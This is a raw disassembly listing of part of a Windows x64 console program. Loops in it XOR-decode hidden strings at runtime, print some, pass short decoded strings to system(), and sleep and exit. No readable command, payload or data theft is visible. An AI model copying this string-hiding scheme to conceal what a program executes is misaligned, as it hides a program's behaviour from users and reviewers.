pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x1407943d3
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1407943a0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohl
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.bPW_X_MQW_eq]
movups xmmword [rbp + 0xd0], xmm0
movzx eax, word [0x140827268]
mov word [rbp + 0xe0], ax
movzx eax, byte [0x14082726a]
mov byte [rbp + 0xe2], al
mov ecx, esi
cmp r13d, 2
jl 0x14079456a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140794460
cmp ecx, 0x13
jge 0x1407945ae
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x140794580
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x1407946b3
cmp r13d, 2
jl 0x140794673
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x1407946b3
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140794680
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x14084cfe8]
call fcn.140781780
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x1408268b0]
movups xmmword [rbp + 0xd0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140794893
cmp r13d, 2
jl 0x140794847
movdqa xmm5, xmmword [0x14083c9b0]
mov edx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140794740
jmp 0x140794893
lea r9, [rbp + 0xd0]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r8b
sub al, dl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140794860
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.S_A3]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826ea3], 0
je 0x1407949a3
cmp r13d, 2
jl 0x140794958
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x1407949a3
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140794970
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [reloc.WS2_32.dll_accept], 1
jmp 0x1407941c9
movsd xmm0, qword [0x140826a70]
movsd qword [rbp + 0x78], xmm0
mov eax, dword [0x140826a78]
mov dword [rbp + 0x80], eax
movzx eax, word [0x140826a7c]
mov word [rbp + 0x84], ax
movzx eax, byte [0x140826a7e]
mov byte [rbp + 0x86], al
mov ecx, esi
cmp r13d, 2
jl 0x140794b02
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm2, xmmword [0x14083c9b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140826a70]
xorps xmm2, xmm0
movd dword [rbp + 0x78], xmm2
movdqa xmm3, xmmword [0x14083c9c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c]
xorps xmm2, xmm1
movd dword [rbp + 0x7c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x78]
add r8, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xf
jl 0x140794b10
lea rdx, [rbp + 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.bT_CQ_]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x140826b80]
mov dword [rbp + 0xe0], eax
cmp byte [0x140826b83], 0
je 0x140794d1e
mov ecx, esi
cmp r13d, 2
jl 0x140794cdc
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140794bd2
cmp ecx, 0x14
jge 0x140794d1e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140794cf0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.S_A3]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826ea3], 0
je 0x140794e43
cmp r13d, 2
jl 0x140794e03
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140794e10
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x78]
call fcn.140795360
mov r9, rax
cmp byte [rax + 0x1d], 0
je 0x140794fff
cmp r13d, 2
jl 0x140794fca
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x170]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140794ec0
cmp eax, 0x1e
jge 0x140794fff
movsxd r8, esi
add r8, r9
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, sil
sub al, dl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x1e
jl 0x140794fd0
mov rdx, r9
mov rcx, r10
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x78]
call fcn.140795360
mov r9, rax
cmp byte [rax + 0x1d], 0
je 0x1407951cf
cmp r13d, 2
jl 0x14079519a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x170]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140795090
cmp eax, 0x1e
jge 0x1407951cf
movsxd r8, esi
add r8, r9
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, sil
sub al, dl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x1e
jl 0x1407951a0
mov rdx, r9
mov rcx, r10
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rbp + 0x278], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x268], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.14077fbd0
nop
mov dword [rbp + 0xc8], ebx
lea rdx, [0x1408468d8]
lea rcx, [rbp + 0xc8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.14077fae0
int3
call fcn.14077fae0
int3
call fcn.14077fae0
int3
call fcn.14077fae0
int3
call fcn.14077fae0
int3
call fcn.14077fbd0
int3
call fcn.14077fbd0
int3
call fcn.14077fbd0
int3
call fcn.14077fbd0
int3